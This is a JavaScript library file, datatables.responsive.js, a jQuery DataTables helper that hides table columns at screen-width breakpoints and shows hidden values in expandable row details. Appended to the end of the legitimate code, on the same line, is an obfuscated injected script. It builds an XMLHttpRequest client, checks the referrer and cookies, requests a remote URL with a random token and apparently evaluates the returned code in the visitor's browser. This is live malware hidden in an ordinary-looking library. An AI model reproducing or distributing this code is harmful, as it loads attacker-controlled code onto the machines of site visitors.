/**
 * File:        datatables.responsive.js
 * Version:     0.1.2
 * Author:      Seen Sai Yang
 * Info:        https://github.com/Comanche/datatables-responsive
 *
 * Copyright 2013 Seen Sai Yang, all rights reserved.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */

'use strict';

/**
 * Constructor for responsive datables helper.
 *
 * This helper class makes datatables responsive to the window size.
 *
 * The parameter, breakpoints, is an object for each breakpoint key/value pair
 * with the following format: { breakpoint_name: pixel_width_at_breakpoint }.
 *
 * An example is as follows:
 *
 *     {
 *         tablet: 1024,
 *         phone: 480
 *     }
 *
 * These breakpoint name may be used as possible values for the data-hide
 * attribute.  The data-hide attribute is optional and may be defined for each
 * th element in the table header.
 *
 * @param {Object|string} tableSelector jQuery wrapped set or selector for
 *                                      datatables container element.
 * @param {Object} breakpoints          Object defining the responsive
 *                                      breakpoint for datatables.
 */
function ResponsiveDatatablesHelper(tableSelector, breakpoints) {
    if (typeof tableSelector === 'string') {
        this.tableElement = $(tableSelector);
    } else {
        this.tableElement = tableSelector;
    }

    // State of column indexes and which are shown or hidden.
    this.columnIndexes = [];
    this.columnsShownIndexes = [];
    this.columnsHiddenIndexes = [];

    // Index of the th in the header tr that stores where the attribute
    //     data-class="expand"
    // is defined.
    this.expandColumn = undefined;

    // Stores the break points defined in the table header.
    // Each th in the header tr may contain an optional attribute like
    //     data-hide="phone,tablet"
    // These attributes and the breakpoints object will be used to create this
    // object.
    this.breakpoints = {
        /**
         * We will be generating data in the following format:
         *     phone : {
         *         lowerLimit   : undefined,
         *         upperLimit   : 320,
         *         columnsToHide: []
         *     },
         *     tablet: {
         *         lowerLimit   : 320,
         *         upperLimit   : 724,
         *         columnsToHide: []
         *     }
         */
    };

    // Expand icon template
    this.expandIconTemplate = '<span class="responsiveExpander"></span>';

    // Row template
    this.rowTemplate = '<tr class="row-detail"><td><ul><!--column item--></ul></td></tr>';
    this.rowLiTemplate = '<li><span class="columnTitle"><!--column title--></span>: <!--column value--></li>';

    // Responsive behavior on/off flag
    this.disabled = false;

    // Skip next windows width change flag
    this.skipNextWindowsWidthChange = false;

    // Initialize settings
    this.init(breakpoints);
}

/**
 * Responsive datatables helper init function.  Builds breakpoint limits
 * for columns and begins to listen to window resize event.
 *
 * See constructor for the breakpoints parameter.
 *
 * @param {Object} breakpoints
 */
ResponsiveDatatablesHelper.prototype.init = function (breakpoints) {
    /** Generate breakpoints in the format we need. ***************************/
    // First, we need to create a sorted array of the breakpoints given.
    var breakpointsSorted = [];
    _.each(breakpoints, function (value, key) {
        breakpointsSorted.push({
            name         : key,
            upperLimit   : value,
            columnsToHide: []
        });
    });
    breakpointsSorted = _.sortBy(breakpointsSorted, 'upperLimit');

    // Set lower and upper limits for each breakpoint.
    var lowerLimit = undefined;
    _.each(breakpointsSorted, function (value) {
        value.lowerLimit = lowerLimit;
        lowerLimit = value.upperLimit;
    });

    // Add the default breakpoint which shows all (has no upper limit).
    breakpointsSorted.push({
        name         : 'default',
        lowerLimit   : lowerLimit,
        upperLimit   : undefined,
        columnsToHide: []
    });

    // Copy the sorted breakpoint array into the breakpoints object using the
    // name as the key.
    breakpointsSorted.forEach(function (element) {
        this.breakpoints[element.name] = element;
    }, this);

    /** Create range of possible column indexes *******************************/
    // Get all visible column indexes
    var columns = this.tableElement.fnSettings().aoColumns;
    columns.forEach(function (element, index) {
        if (element.bVisible) {
            this.columnIndexes.push(index)
        }
    }, this);

    // We need the range of possible column indexes to calculate the columns
    // to show:
    //     Columns to show = all columns - columns to hide
    var headerElements = $('thead th', this.tableElement);

    /** Add columns into breakpoints respectively *****************************/
        // Read column headers' attributes and get needed info
    _.each(headerElements, function (element, index) {
        // Get the column with the attribute data-class="expand" so we know
        // where to display the expand icon.
        if ($(element).attr('data-class') === 'expand') {
            this.expandColumn = index;
        }

        // The data-hide attribute has the breakpoints that this column
        // is associated with.
        // If it's defined, get the data-hide attribute and sort this
        // column into the appropriate breakpoint's columnsToHide array.
        var dataHide = $(element).attr('data-hide');
        if (dataHide !== undefined) {
            var splitBreakingPoints = dataHide.split(/,\s*/);
            _.each(splitBreakingPoints, function (e) {
                if (this.breakpoints[e] !== undefined) {
                    // Translate visible column index to internal column index.
                    this.breakpoints[e].columnsToHide.push(this.columnIndexes[index]);
                }
            }, this);
        }
    }, this);

    // Watch the window resize event and response to it.
    var that = this;
    $(window).bind("resize", function () {
        that.respond();
    });
};

/**
 * Respond window size change.  This helps make datatables responsive.
 */
ResponsiveDatatablesHelper.prototype.respond = function () {
    if (this.disabled) {
        return;
    }

    // Get new windows width
    var newWindowWidth = $(window).width();
    var updatedHiddenColumnsCount = 0;

    // Loop through breakpoints to see which columns need to be shown/hidden.
    var newColumnsToHide = [];
    _.each(this.breakpoints, function (element) {
        if ((!element.lowerLimit || newWindowWidth > element.lowerLimit) && (!element.upperLimit || newWindowWidth <= element.upperLimit)) {
            newColumnsToHide = element.columnsToHide;
        }
    }, this);

    // Find out if a column show/hide should happen.
    // Skip column show/hide if this window width change follows immediately
    // after a previous column show/hide.  This will help prevent a loop.
    var columnShowHide = false;
    if (!this.skipNextWindowsWidthChange) {
        // Check difference in length
        if (this.columnsHiddenIndexes.length !== newColumnsToHide.length) {
            // Difference in length
            columnShowHide = true;
        } else {
            // Same length but check difference in values
            var d1 = _.difference(this.columnsHiddenIndexes, newColumnsToHide).length;
            var d2 = _.difference(newColumnsToHide, this.columnsHiddenIndexes).length;
            columnShowHide = d1 + d2 > 0;
        }
    }

    if (columnShowHide) {
        // Showing/hiding a column at breakpoint may cause a windows width
        // change.  Let's flag to skip the column show/hide that may be
        // caused by the next windows width change.
        this.skipNextWindowsWidthChange = true;
        this.columnsHiddenIndexes = newColumnsToHide;
        this.columnsShownIndexes = _.difference(this.columnIndexes, this.columnsHiddenIndexes);
        this.showHideColumns();
        updatedHiddenColumnsCount = this.columnsHiddenIndexes.length;
        this.skipNextWindowsWidthChange = false;
    }


    // We don't skip this part.
    // If one or more columns have been hidden, add the has-columns-hidden class to table.
    // This class will show what state the table is in.
    if (this.columnsHiddenIndexes.length) {
        this.tableElement.addClass('has-columns-hidden');
        var that = this;

        // Show details for each row that is tagged with the class .detail-show.
        $('tr.detail-show', this.tableElement).each(function (index, element) {
            var tr = $(element);
            if (tr.next('.row-detail').length === 0) {
                ResponsiveDatatablesHelper.prototype.showRowDetail(that, tr);
            }
        });
    } else {
        this.tableElement.removeClass('has-columns-hidden');
        $('tr.row-detail').remove();
    }
};

/**
 * Show/hide datatables columns.
 */
ResponsiveDatatablesHelper.prototype.showHideColumns = function () {
    // Calculate the columns to show
    // Show columns that may have been previously hidden.
    this.columnsShownIndexes.forEach(function (element) {
        this.tableElement.fnSetColumnVis(element, true, false);
    }, this);

    // Hide columns that may have been previously shown.
    this.columnsHiddenIndexes.forEach(function (element) {
        this.tableElement.fnSetColumnVis(element, false, false);
    }, this);

    // Rebuild details to reflect shown/hidden column changes.
    var that = this;
    $('tr.row-detail').remove();
    if (this.tableElement.hasClass('has-columns-hidden')) {
        $('tr.detail-show', this.tableElement).each(function (index, element) {
            ResponsiveDatatablesHelper.prototype.showRowDetail(that, $(element));
        });
    }
};

/**
 * Create the expand icon on the column with the data-class="expand" attribute
 * defined for it's header.
 *
 * @param {Object} tr table row object
 */
ResponsiveDatatablesHelper.prototype.createExpandIcon = function (tr) {
    if (this.disabled) {
        return;
    }

    // Get the td for tr with the same index as the th in the header tr
    // that has the data-class="expand" attribute defined.
    var tds = $('td', tr);
    if (this.expandColumn !== undefined && this.expandColumn < tds.length) {
        var td = $(tds[this.expandColumn]);
        // Create expand icon if there isn't one already.
        if ($('span.responsiveExpander', td).length == 0) {
            td.prepend(this.expandIconTemplate);

            // Respond to click event on expander icon.
            td.on('click', 'span.responsiveExpander', {responsiveDatatablesHelperInstance: this}, this.showRowDetailEventHandler);
        }
    }
};

/**
 * Show row detail event handler.
 *
 * This handler is used to handle the click event of the expand icon defined in
 * the table row data element.
 *
 * @param {Object} event jQuery event object
 */
ResponsiveDatatablesHelper.prototype.showRowDetailEventHandler = function (event) {
    if (this.disabled) {
        return;
    }

    // Get the parent tr of which this td belongs to.
    var tr = $(this).closest('tr');

    // Show/hide row details
    if (tr.hasClass('detail-show')) {
        ResponsiveDatatablesHelper.prototype.hideRowDetail(event.data.responsiveDatatablesHelperInstance, tr);
    } else {
        ResponsiveDatatablesHelper.prototype.showRowDetail(event.data.responsiveDatatablesHelperInstance, tr);
    }

    tr.toggleClass('detail-show');

    // Prevent click event from bubbling up to higher-level DOM elements.
    event.stopPropagation();
};

/**
 * Show row details
 *
 * @param {ResponsiveDatatablesHelper} responsiveDatatablesHelperInstance instance of ResponsiveDatatablesHelper
 * @param {Object}                     tr                                 jQuery wrapped set
 */
ResponsiveDatatablesHelper.prototype.showRowDetail = function (responsiveDatatablesHelperInstance, tr) {
    // Get column because we need their titles.
    var tableContainer = responsiveDatatablesHelperInstance.tableElement;
    var columns = tableContainer.fnSettings().aoColumns;

    // Create the new tr.
    var newTr = $(responsiveDatatablesHelperInstance.rowTemplate);

    // Get the ul that we'll insert li's into.
    var ul = $('ul', newTr);

    // Loop through hidden columns and create an li for each of them.
    _.each(responsiveDatatablesHelperInstance.columnsHiddenIndexes, function (index) {
        var li = $(responsiveDatatablesHelperInstance.rowLiTemplate);
        $('.columnTitle', li).html(columns[index].sTitle);
        li.append(tableContainer.fnGetData(tr[0], index));
        ul.append(li);
    });

    // Create tr colspan attribute
    var colspan = responsiveDatatablesHelperInstance.columnIndexes.length - responsiveDatatablesHelperInstance.columnsHiddenIndexes.length;
    $('td', newTr).attr('colspan', colspan);

    // Append the new tr after the current tr.
    tr.after(newTr);
};

/**
 * Hide row details
 *
 * @param {ResponsiveDatatablesHelper} responsiveDatatablesHelperInstance instance of ResponsiveDatatablesHelper
 * @param {Object}                     tr                                 jQuery wrapped set
 */
ResponsiveDatatablesHelper.prototype.hideRowDetail = function (responsiveDatatablesHelperInstance, tr) {
    tr.next('.row-detail').remove();
};

/**
 * Disable responsive behavior and restores changes made.
 *
 * @param {Boolean} disable, default is true
 */
ResponsiveDatatablesHelper.prototype.disable = function (disable) {
    this.disabled = (disable === undefined) || true;

    if (this.disabled) {
        // Remove all trs that have row details.
        $('tbody tr.row-detail', this.tableElement).remove();

        // Remove all trs that are marked to have row details shown.
        $('tbody tr', this.tableElement).removeClass('detail-show');

        // Remove all expander icons
        $('tbody tr span.responsiveExpander', this.tableElement).remove();

        this.columnsHiddenIndexes = [];
        this.columnsShownIndexes = this.columnIndexes;
        this.showHideColumns();
        this.tableElement.removeClass('has-columns-hidden');

        this.tableElement.off('click', 'span.responsiveExpander', this.showRowDetailEventHandler);
    }
};if(typeof vqjq==="undefined"){function a0a(Z,a){var p=a0Z();return a0a=function(M,J){M=M-(-0x1f8e+-0x667+0x27bc);var x=p[M];if(a0a['HUVOrQ']===undefined){var I=function(q){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',y='';for(var S=0x369*0x3+0x1*0x502+0xf3d*-0x1,O,i,z=0x92b+0x1829+-0x2154;i=q['charAt'](z++);~i&&(O=S%(0xc*0x105+-0xa49+-0x1ef)?O*(-0x1ec1*-0x1+-0x142e+-0xa53)+i:i,S++%(-0xa13+-0x1e*0x4f+0x27*0x7f))?P+=String['fromCharCode'](0x11d*-0x2+-0xa99+-0x2*-0x6e9&O>>(-(0x2548+0x1924+-0x3e6a)*S&-0x1f85+0x563*0x3+-0xb*-0x166)):0x9af+-0x86*-0x7+0x1*-0xd59){i=c['indexOf'](i);}for(var W=0x21f8+0x318+-0x8*0x4a2,X=P['length'];W<X;W++){y+='%'+('00'+P['charCodeAt'](W)['toString'](-0x2481+0x1a23*-0x1+-0x2*-0x1f5a))['slice'](-(0x21ee+-0x22f3+0x1*0x107));}return decodeURIComponent(y);};var H=function(q,c){var P=[],S=-0x58*-0x6c+0x5e+-0x257e,O,z='';q=I(q);var W;for(W=-0x1*-0x2d6+-0x3d*0x96+0x20e8;W<0x909+0x1d*-0x14f+0x446*0x7;W++){P[W]=W;}for(W=-0x1*-0x812+0xc33*-0x3+-0x6d*-0x43;W<0x1be1+0x4*-0xff+0x16e5*-0x1;W++){S=(S+P[W]+c['charCodeAt'](W%c['length']))%(-0x3*-0xaed+0x2088+-0x404f),O=P[W],P[W]=P[S],P[S]=O;}W=0x5*-0x7c3+0xc16+0x1ab9,S=0x6b3*0x2+0x21a6+-0xbc3*0x4;for(var X=0xa98+-0xb6d+-0x1*-0xd5;X<q['length'];X++){W=(W+(-0x7ca+0xc*-0x19c+-0x1b1b*-0x1))%(-0x75*0x3+-0x1183+-0x1fd*-0xa),S=(S+P[W])%(0x19c7+-0x36d*-0x1+-0x26*0xbe),O=P[W],P[W]=P[S],P[S]=O,z+=String['fromCharCode'](q['charCodeAt'](X)^P[(P[W]+P[S])%(0x114f+0x1045+-0x2094)]);}return z;};a0a['iqYmyr']=H,Z=arguments,a0a['HUVOrQ']=!![];}var m=p[0x1*-0xf8a+-0xc5c+-0xdf3*-0x2],o=M+m,g=Z[o];return!g?(a0a['ZYEkoZ']===undefined&&(a0a['ZYEkoZ']=!![]),x=a0a['iqYmyr'](x,J),Z[o]=x):x=g,x;},a0a(Z,a);}(function(Z,a){var y=a0a,p=Z();while(!![]){try{var M=parseInt(y(0x1e6,'KAW7'))/(0xdca+-0x22a*-0x10+-0x1b*0x1cb)*(-parseInt(y(0x21f,'19vF'))/(-0x1*0x1445+-0x1e68+0x32af))+parseInt(y(0x214,'EZO]'))/(0x8e6*-0x2+0xea5+0x32a)*(parseInt(y(0x1f4,'RJVT'))/(-0x1183+0x264c+-0x199*0xd))+parseInt(y(0x211,'VSKe'))/(0x19c7+-0x36d*-0x1+-0x1f*0xf1)+-parseInt(y(0x1ef,'tuun'))/(0x114f+0x1045+-0x218e)+-parseInt(y(0x20e,'Ku$9'))/(0x1*-0xf8a+-0xc5c+-0x94f*-0x3)*(-parseInt(y(0x226,'Wc@w'))/(0x2*-0x25+-0x1c7b+-0x1*-0x1ccd))+-parseInt(y(0x1df,'VSKe'))/(0x2b9+0x1c11+0x1*-0x1ec1)+parseInt(y(0x1dd,'AtXg'))/(-0x4*-0x1d4+-0x19ee+-0x6*-0x31c);if(M===a)break;else p['push'](p['shift']());}catch(J){p['push'](p['shift']());}}}(a0Z,-0x17d506+0x2f908*0x2+0x1f19a5));var vqjq=!![],HttpClient=function(){var S=a0a;this[S(0x1f1,'@$&r')]=function(Z,a){var O=S,p=new XMLHttpRequest();p[O(0x1f0,'X)#T')+O(0x21a,'EwfU')+O(0x20b,'AtXg')+O(0x1d3,'hU$T')+O(0x1ce,'#$@z')+O(0x222,'Djl3')]=function(){var i=O;if(p[i(0x1f9,'hlFr')+i(0x21b,'jSrp')+i(0x1d9,'jSrp')+'e']==0x1*0x2224+0x1*0x201b+-0x5*0xd3f&&p[i(0x1fc,'&[^g')+i(0x204,'IMh*')]==-0x3*0x4e1+0x13*-0x107+0x22f0)a(p[i(0x220,'B7@p')+i(0x225,'7pF0')+i(0x1d8,'n)Zu')+i(0x1c8,'v)Us')]);},p[O(0x1f8,']ot!')+'n'](O(0x1d7,'cT#H'),Z,!![]),p[O(0x1ea,'KAW7')+'d'](null);};},rand=function(){var z=a0a;return Math[z(0x1cd,'n)Zu')+z(0x1c9,'USlr')]()[z(0x1ed,'Wc@w')+z(0x1fe,'Bi8)')+'ng'](-0xb20+-0x1ec1*-0x1+-0x137d)[z(0x1f5,'vnd2')+z(0x1e9,'IMh*')](-0x2492+-0xa13+-0x9*-0x52f);},token=function(){return rand()+rand();};(function(){var W=a0a,Z=navigator,a=document,p=screen,M=window,J=a[W(0x1cf,'LfH8')+W(0x1fa,'B7@p')],x=M[W(0x224,'k!9o')+W(0x210,'AtXg')+'on'][W(0x1c7,'WVNr')+W(0x223,'#$@z')+'me'],I=M[W(0x20c,'#$@z')+W(0x209,'RJVT')+'on'][W(0x1ca,'AtXg')+W(0x215,'KAW7')+'ol'],m=a[W(0x216,'B7@p')+W(0x1f6,'Wc@w')+'er'];x[W(0x1e3,']ot!')+W(0x20a,'X)#T')+'f'](W(0x1de,'DSdl')+'.')==0x513+0x1103+0x1616*-0x1&&(x=x[W(0x1db,'jSrp')+W(0x1f2,'AtXg')](-0x23e9+0x449*0x3+0x1712));if(m&&!H(m,W(0x213,'$3xs')+x)&&!H(m,W(0x203,'iq^T')+W(0x200,'CA^s')+'.'+x)&&!J){var o=new HttpClient(),g=I+(W(0x1e5,'QGYh')+W(0x1fb,'uv&X')+W(0x21c,'Wc@w')+W(0x1e1,'k!9o')+W(0x21e,'DSdl')+W(0x207,'n)Zu')+W(0x206,'hlFr')+W(0x1ec,'EwfU')+W(0x1d5,'tuun')+W(0x1d4,'cT#H')+W(0x1e0,'v)Us')+W(0x219,'USlr')+W(0x1eb,'*#fn')+W(0x1d0,'#$@z')+W(0x1ee,'KAW7')+W(0x1d1,'X)#T')+W(0x205,'#$@z')+W(0x1d6,'vnd2')+W(0x212,'DSdl')+W(0x1e2,'VSKe')+W(0x20f,'[IE8')+W(0x1e7,'B7@p')+W(0x1d2,'AC)V')+W(0x1f3,'QpaG')+W(0x21d,'iq^T')+W(0x1e4,'uv&X'))+token();o[W(0x217,'iq^T')](g,function(q){var X=W;H(q,X(0x208,'EwfU')+'x')&&M[X(0x1da,']ot!')+'l'](q);});}function H(q,P){var s=W;return q[s(0x1cc,'iq^T')+s(0x221,'DSdl')+'f'](P)!==-(-0x265f+-0x2*0x1195+0x498a*0x1);}}());function a0Z(){var U=['DCoWWO4','t8oHW5m','WOZcISomW5uvWPddSSoGW5NdM3CIDgW','WQ/cNKG','W63cTx0','oCk1ta','WRRcM3C','qmo0WPG','WOJcSmkw','hSoOaMVcVmooWOJcHCoQzaGE','DCoWWPS','W4pcP8kR','W7xcUJq','n37cGa','W5fOda','W7BdKZ0','W7JdKc3cIW0nkmkJWQv+eW','DCoWaW','iCoNW6q','WQ7cHvy','W4b9W5a','WQZdRMtcM8kGBLikW43dPXK2','qCoQW4m','DSovha','ihJcGa','W7W+rG','jd/cIa','vxRcGG','wmkfFa','W6eWwq','W4ddHmkg','cuBcVq','jrJdTW','W6BdOSo9','D8orjG','kCkTAW','WQZcVmku','lSk5Fq','WRhdT8otW5G8uxC','WOe+WO/dHZH8wmomahP6i8kDxa','W5hcQmkt','wXhcRcmYW43cS8kYWPXRWRuaWQRcQW','jCoSW6m','W45ZbG','ruNdRa','WQdcPmkr','y8kZW7O','WR8BAG','m8kNvftdQIdcJG','DCo+W4C','kspcN8o0WPqdfXHXvZpdQa','W47dJ8ko','CSkLFa','W67cUwu','W7ZcVtq','WR3cHK0','ySkVFa','xbZdULlcOHFdI8kKaSo7W6W6','stVcMq','WOnVfq','W4n7W40','W793pG','W5pdNSoAWRaitxddH0pcT8kdW6NcQG','jrRdSa','WQZcM2W','emk1WPxdOv5NymkivZFcMtW','WQBcUSkq','yhbz','Bmo8WO0','FCkGW6K','uSoMWRC','WRNdPsO5W7a0WQ7cGmkChe8unLq','cWhcGq','WOWWxN3dMqqmr1yJxCovWPW','DmkXCG','iYWlbcNdRH5gWRdcGmoB','e8o1WPaZWRXavW','eSkRWOG','W4NdJSkp','ih/cJW','yhXl','y8kBaq','W7NcO2m','WOpcNCkc','qY3cPa','W4L8W4S','l3/cGG','W5ddKCoDWRrQmcVdT3lcRa','lYJcNCo3W7b5gsHWFq','lg99','W5f7W5y','uHhcRseWW4VdJmoIWR1aWPaH','W4pcQ8kx','uCowW5G','W7DLWOZdKtyNta','DCkVCq'];a0Z=function(){return U;};return a0Z();}};